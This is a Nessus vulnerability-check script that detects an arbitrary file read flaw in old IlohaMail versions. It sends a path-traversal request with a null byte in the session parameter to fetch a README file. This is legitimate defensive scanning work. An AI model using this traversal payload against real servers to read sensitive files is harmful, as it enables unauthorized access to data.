IlohaMail index.php session Parameter Arbitrary File Access

#%NASL_MIN_LEVEL 70300
#
# This script was written by George A. Theall, <[email protected]>.
#
# See the Nessus Scripts License for details.
#

# Changes by Tenable:
# - Revised plugin title, output formatting, family change (9/5/09)


include('deprecated_nasl_level.inc');
include('compat.inc');

if (description) {
  script_id(14631);
  script_version("1.12");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/08/15");

# script_cve_id("CVE-MAP-NOMATCH");
# NOTE: no CVE id assigned (gat, 09/2004)
 
  script_name(english:"IlohaMail index.php session Parameter Arbitrary File Access");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web server is hosting a PHP script that is affected by an
information disclosure vulnerability." );
 script_set_attribute(attribute:"description", value:
"The target is running at least one instance of IlohaMail version
0.7.11 or earlier.  Such versions contain a flaw in the processing of
the session variable that allows an unauthenticated attacker to
retrieve arbitrary files available to the web user, provided the
filesystem backend is in use." );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?70b46336" );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?066bde18" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to IlohaMail version 0.7.12 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");

 script_set_attribute(attribute:"plugin_publication_date", value: "2004/09/02");
 script_set_attribute(attribute:"vuln_publication_date", value: "2003/03/04");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

  script_summary(english:"Checks for Arbitrary File Access via Session Variable vulnerability in IlohaMail");
  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2004-2022 George A. Theall");
  script_family(english:"CGI abuses");
  script_dependencie("global_settings.nasl", "ilohamail_detect.nasl");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");

# Specify the file to grab from target, relative to IlohaMail/sessions 
# directory.
#
# nb: ../../README exists in each version I've seen.
file = "../../README";

host = get_host_name();
port = get_http_port(default:80, embedded:TRUE);
dbg::detailed_log(lvl:1, src:SCRIPT_NAME,
    msg:"Searching for IlohaMail Arbitrary File Access via Session Variable vulnerability on: "+host+":"+port);

if (!get_port_state(port)) exit(0);

# Check each installed instance, stopping if we find a vulnerable version.
installs = get_kb_list(string("www/", port, "/ilohamail"));
if (isnull(installs)) exit(0);
foreach install (installs) {
  matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
  if (!isnull(matches)) {
    ver = matches[1];
    dir = matches[2];
    dbg::detailed_log(lvl:1, src: SCRIPT_NAME, msg: "Checking version " + ver + " under "+ dir);

    # Try to exploit the vulnerability.
    #
    # nb: the hole exists because session_auth.FS.inc trusts
    #     the session variable when calling include_once() to 
    #     validate the session.
    url = string(dir, "/index.php?session=", file, "%00");
    dbg::detailed_log(lvl:1, src:SCRIPT_NAME, msg:"retrieving: "+url);
    req = http_get(item:url, port:port);
    res = http_keepalive_send_recv(port:port, data:req);
    if (res == NULL) exit(0);           # can't connect
    dbg::detailed_log(lvl:1, src: SCRIPT_NAME, msg:"resp =>>"+res+"<<");

    # nb: if successful, file contents will appear after the closing 
    #     HEAD tag; otherwise, there will be a message about a session
    #     timeout. Regardless, we only need check the first 5 lines or so.
    lines = split(res);
    nlines = max_index(lines) - 1;
    for (i = 0; i <= nlines; i++) {
      if (lines[i] =~ "</HEAD>") {
        next = lines[i+1];
        dbg::detailed_log(lvl:1, src:SCRIPT_NAME, msg:"next=>>"+next+ "<<");
        if (next !~ "Session timeout") {
          security_warning(port);
          exit(0);
        }
        # nb: no need to check any further.
        break;
      }
    }
  }
}